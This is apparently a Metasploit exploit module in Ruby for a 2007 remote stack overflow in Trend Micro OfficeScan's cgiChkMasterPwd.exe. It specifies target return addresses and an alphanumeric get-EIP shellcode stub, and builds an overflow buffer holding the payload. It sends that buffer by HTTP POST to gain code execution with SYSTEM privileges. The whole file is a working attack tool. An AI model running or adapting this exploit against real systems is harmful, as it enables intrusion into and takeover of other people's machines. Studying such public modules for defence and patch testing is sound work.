101 lines
2.6 KiB
Ruby
101 lines
2.6 KiB
Ruby
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require 'msf/core'
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require 'metasm'
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module Msf
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class Exploits::Windows::Http::TrendMicro_OfficeScan_Overflow < Msf::Exploit::Remote
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include Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Trend Micro OfficeScan Remote Stack Overflow',
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'Description' => %q{
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This module exploits a stack overflow in Trend Micro OfficeScan
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cgiChkMasterPwd.exe (running with SYSTEM privileges).
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},
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'Author' => [ 'toto' ],
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'License' => MSF_LICENSE,
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'Version' => '$Revision: 3636 $',
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'References' =>
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[
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'MinNops' => 0,
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'MaxNops' => 0,
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'Space' => 498,
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'BadChars' => Rex::Text.charset_exclude(Rex::Text::AlphaNumeric),
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# clean up to prevent crash on exit
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'Prepend' => Metasm::Shellcode.assemble(Metasm::Ia32.new, "mov dword ptr fs:[0], 0").encode_string,
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'EncoderOptions' =>
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{
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'BufferRegister' => 'ECX',
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},
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'StackAdjustment' => -3500,
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# return addresses need to be alphanumeric (here in loadhttp data section)
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[ 'Windows 2000 - Trend Micro OfficeScan 7.3.0.1293)', { 'Rets' => [0x63613035, 0x63613032] } ],
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],
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'DisclosureDate' => 'Jun 28 2007',
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'DefaultTarget' => 0))
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register_options(
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[
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Opt::RPORT(8080),
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], self.class)
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end
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def exploit
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geip_src = "
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push esi
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push esp
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pop eax
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xor esi, [eax]
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push esi
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pop eax
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xor eax, got_eip
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push eax
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pop ecx
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got_eip:
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"
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sc = Metasm::Shellcode.assemble(Metasm::Ia32.new, geip_src)
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sc.base_addr = target['Rets'][0]
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get_eip = sc.encode_string
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pat = Rex::Text.rand_text_alphanumeric(1016)
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pat[0, get_eip.length] = get_eip
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pat[14, payload.encoded.length] = payload.encoded
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pat[512, 4] = [target['Rets'][1]].pack('V') # string pointer (to prevent a crash)
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pat[524, 4] = [target['Rets'][0]].pack('V') # sets EIP to the address where the shellcode has been copied
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pat[540, 4] = [target['Rets'][0]-1].pack('V') # shellcode will be copied at this address (+1)
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data = "TMlogonEncrypted=!CRYPT!" + pat
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len = sprintf("%u", data.length);
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print_status("Trying target address 0x%.8x..." % target['Rets'][0])
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res = send_request_cgi({
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'uri' => '/officescan/console/cgi/cgiChkMasterPwd.exe',
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'method' => 'POST',
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'content-type' => 'application/x-www-form-urlencoded',
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'data' => data,
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}, 5)
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handler
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end
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end
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end
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